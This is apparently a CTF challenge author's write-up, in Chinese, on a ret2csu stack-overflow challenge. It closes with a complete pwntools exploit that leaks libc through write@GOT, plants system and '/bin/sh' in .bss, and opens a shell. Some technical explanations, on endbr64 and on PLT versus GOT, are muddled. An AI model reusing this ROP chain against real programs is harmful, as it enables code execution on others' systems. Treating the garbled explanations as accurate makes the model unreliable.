第一次出題,沒什麼經驗,按照https://www.cnblogs.com/bpcat/p/16878676.html這篇文章簡單改的程式碼(這文章講的還算細,跟著動調就好了)
直接抄exp肯定是不行了,多加了幾句話導致棧空間有一丟丟偏移,但是影響不大,這裡展現下當時卡住的地方
卡在jmp的位置了,爆段錯誤,於是去拿其他做過的csu題目對比了一下,發現其他的都是佈局完暫存器之後用的ret,這題在佈局完之後是利用call做的跳轉
這裡有一個小知識點,那個endbr64是一個特殊指令集的指令,作用是在一次跳轉中如果不是跳到這個地址就會報錯,防止ret攻擊,但是很顯然這個是很好繞過的,跳到這個地址就好,這裡也有做好規避.至於棧對齊問題,這個也是特殊指令集的指令有要求
好吧這裡的問題是找到plt表去了,基礎不紮實導致的,plt表裡面記錄的是一系列的跳轉指令,而GOT表裡面記錄的是一系列的地址本身,因此我們要跳轉的地方是GOT表而非plt表,而我們要進行洩露的是plt表的內容
修改之後就是慢慢找libc地址了,因為是本地跑的所以可以直接拿本地的地址,因為程式很簡單所以只能洩露read和write,也夠了,libc.rip找一下就拿下了
這裡也是簡單總結下ret2csu的利用點:利用libc裡面的初始化用的__libc_csu_init函式中佈置棧空間的gadget來為暫存器賦值,使得ret呼叫可以傳入引數,配合棧溢位實現ROP鏈的構造,但是因為payload長度比較長因此需要程式有比較大的溢位空間
最後給一下exp吧
#ret2csu
from pwn import*
p = process('./ret2csu')
#p = remote('',)
elf = ELF('./ret2csu')
context(log_level="debug")
#gdb.attach(p)
gadget1_addr = 0x4012ba
gadget2_addr = 0x4012a0
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = 0x404020
leak_got = elf.got['write']
'''
local leak info:
write 4870
read 47d0
'''
main_addr = elf.symbols['main']
############################################LEAK###############################################
# lj ret addr rbx rbp r12 r13 r14 r15(call addr)
payload1 = b'a' * 136 + p64(gadget1_addr) + p64(0) + p64(1) + p64(1) + p64(leak_got) + p64(0x16) + p64(write_got)
# form csu ret2csu balance stk ret addr
payload1 += p64(gadget2_addr) + p64(1)*7 + p64(main_addr)
p.sendlineafter("gadget!",payload1)
p.recv()
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak_addr))
##########################################write################################################
libcbase = leak_addr - 0x114870
sys_addr = libcbase + 0x50d70
print('sys:' + hex(sys_addr))
print('read_got:'+hex(read_got))
bin_sh_addr = libcbase + 0x1d8678
bss_addr = 0x404140
#gdb.attach(p)
# lj ret addr rbx rbp r12 r13 r14 r15(call addr)
payload2 = b'a' * 136 + p64(gadget1_addr) + p64(0) + p64(1) + p64(0) + p64(bss_addr) + p64(0x10) + p64(read_got)
# form csu ret2csu balance stk ret addr
payload2 += p64(gadget2_addr) + p64(1)*7 + p64(main_addr)
p.sendline(payload2)
p.send(p64(sys_addr) + b'/bin/sh\x00')
#######################################shell####################################################
# lj ret addr rbx rbp r12
payload3 = b'a' * 136 + p64(gadget1_addr) + p64(0) + p64(1) + p64(bss_addr + 8) + p64(0) + p64(0) + p64(bss_addr) + p64(0x40101a) + p64(gadget2_addr)
gdb.attach(p)
p.sendlineafter(b"gadget!",payload3)
p.interactive()